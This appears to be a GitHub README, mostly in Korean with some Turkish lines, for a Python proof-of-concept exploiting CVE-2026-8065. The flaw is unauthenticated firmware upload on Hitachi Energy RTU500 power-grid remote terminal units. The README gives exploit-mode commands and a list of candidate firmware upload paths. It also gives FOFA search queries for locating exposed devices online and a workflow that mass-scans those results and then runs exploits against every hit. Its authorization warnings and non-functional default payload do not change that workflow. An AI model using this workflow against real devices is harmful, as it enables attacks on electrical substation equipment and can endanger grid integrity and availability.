murrez/cve-2026-8065CVE-2026-8065에 대한 Python PoC: Hitachi Energy RTU500 장치를 핑거프린팅하고 펌웨어 업데이트 엔드포인트를 탐색하여 인증 없는 업로드 여부를 확인하며, check, exploit, mass-scan 모드를 제공합니다.
CVE-2026-8065 — Hitachi Energy RTU500 Series CMU Firmware — 펌웨어 업데이트 HTTP 엔드포인트의 **인증 우회(CWE-306)**에 대한 Python 3 PoC입니다. CVSS 3.1 9.1 Critical(IoT/OT).
| PoCbit | https://pocbit.org/pocs/cve-2026-8065 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-8065 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-306 중요 기능에 대한 인증 누락 |
| Impact | 인증되지 않은 임의 펌웨어 업로드 → 변전소 RTU의 무결성 / 가용성 |
RTU500은 에너지 송전/배전 분야에서 사용되는 Remote Terminal Unit(원격 단말) 제품군이며, 웹 서버를 통해 CMU firmware 관리가 이루어집니다. CVE-2026-8065에서 firmware 업데이트 엔드포인트가 인증 없이(또는 조작된 POST로 우회하여) 접근 가능해지며, 공격자는 임의의 firmware를 업로드하여 장치 기능을 변경하거나 무결성을 훼손하거나 DoS를 발생시킬 수 있습니다.
이는 자동화 네트워크에서 PR:N을 통한 원격의 치명적 OT 영향력을 의미합니다 — 오직 승인된 격리 실험실에서 또는 vendor 승인 pentest 범위 내에서만 테스트해야 합니다.
Vendor (CNA) 영향 대상: RTU500 Series CMU Firmware — 9.0 및 12.0 버전 라인(custom versioning; 최신 advisory 및 13.8.2+ 패치 노트 참조).
Hitachi Energy는 CVE-2026-8065를 할당했습니다(2026-09-29 게시):
Hitachi Energy RTU500의 펌웨어 업데이트 엔드포인트에 있는 인증 우회 취약점으로, 인증되지 않은 공격자가 조작된 POST 요청을 통해 임의 펌웨어를 업로드할 수 있습니다.
CVE-2024-2617(인증된 사용자가 보안 업데이트가 비활성화된 경우 이를 우회)과 달리, CVE-2026-8065는 업데이트 기능 자체에 대한 인증되지 않은 접근입니다. 즉, 안전이 중요한 OT 표면의 완전한 CWE-306 결함입니다.
공개 권고문에는 정확한 URI가 아직 나열되지 않았을 수 있습니다. RTU500 문서는 Configuration Management / 웹 서버 파일 전송을 통한 펌웨어 처리를 설명합니다. 이 PoC는 RTU500을 핑거프린팅하고 가능성이 높은 펌웨어 POST 경로의 선별된 목록을 프로브한 다음, (익스플로이트 모드에서) 비운영 프로브 블롭(POCBIT-8065-FW-PROBE)을 전송하여 인증되지 않은 수락 응답을 탐지합니다.
| 모드 | 동작 |
|---|---|
| check | 다중 포트 HTTP(S) 프로브, RTU500 HTML 마커, CMU 버전 정규식, 펌웨어 경로에 대한 GET 프로브 |
| exploit | 세션 쿠키 없이 멀티파트 가짜 .fw를 POST; 2xx + 수락 휴리스틱이면 exploited |
| mass | --list + -j; hits.txt / exploited.txt |
--dry-run | 익스플로이트: GET 펌웨어 경로 프로브만 수행(POST 없음) |
--lab | 로컬 모의 RTU500 — exploited: true를 표시해야 함(정상 동작 확인) |
--force | RTU500 HTML 핑거프린트 없이 익스플로이트 |
--firmware-paths | 벤더 경로를 알 때 경로 목록 재정의(쉼표로 구분) |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, product.
안전: 기본 익스플로이트 페이로드는 유효한 CMU 플래시 이미지가 아닙니다 — 탐지용 마커 + 패딩일 뿐입니다. 격리 및 벤더 협조 없이 익스플로이트 모드를 실제 전력망 장비에 절대 지정하지 마십시오.
cd CVE-2026-8065
pip install -r requirements.txt
python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update
--list --mode check ile toplu varsayılan açık: hedef başına 1–2 GET (liste URL'si + gerekirse http/https), 16 firmware path taraması yok, kısa timeout (4s connect, 10s read), varsayılan -j 32.
python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20 # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25
CLI 진행 상황: [done/total target/s]; 히트는 즉시 HIT로 출력됩니다.
cert="Hitachi" FOFA 목록은 노이즈가 매우 많으므로, CSV에서 **rtu_priority**를 기준으로 우선순위 목록을 먼저 스캔하십시오. Check hit ≠ 실제 RTU: 페이지에 hitachi energy만 포함된 기업용 SPA는 vendor_branding_only / **vendor_branding_spa_false_positive**가 됩니다. 익스플로잇에는 rtu500 / rtutil500 / cmu firmware 같은 strong fingerprint가 필요합니다(없으면 --force).
python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8
PoC는 순환합니다(GET 확인 / POST 익스플로잇):
/api/firmware/update, /api/firmware/upload, /api/v1/firmware/update/firmware/update, /firmware/upload, /ws/firmware/update/CMU/firmware/upload, /ConfigurationManagement/Firmware/configuration/management/firmware, /FileUpload/Firmware/scripts/firmwareUpload, /cgi-bin/firmware, /admin/firmware/uploadHitachi가 정확한 경로를 공개하면 **--firmware-paths**를 해당 URI로만 설정하십시오.
title="RTU500" || body="RTU500" || body="Configuration Management"
body="Hitachi Energy" && (body="RTU" || body="CMU")
cert="Hitachi" && port="443"
body="RTUtil500" || body="rtutil500"
OT ağlarında FOFA eksik olabilir; CMMS / IP planı / VPN jump envanterini targets.txt yapın.
승인된 변전소/실험실 테스트에만 사용하십시오. OT 장치에 대한 무단 펌웨어 조작은 법률 및 전력망 안전 규정을 위반할 수 있습니다.
CVE-2026-8065 PoC: Hitachi Energy RTU500 unauth firmware update bypass (CWE-306, CVSS 9.1). IoT/OT colored check + mass exploit — RTU500 fingerprint, firmware endpoint probe, lab-safe upload test. https://pocbit.org/pocs/cve-2026-8065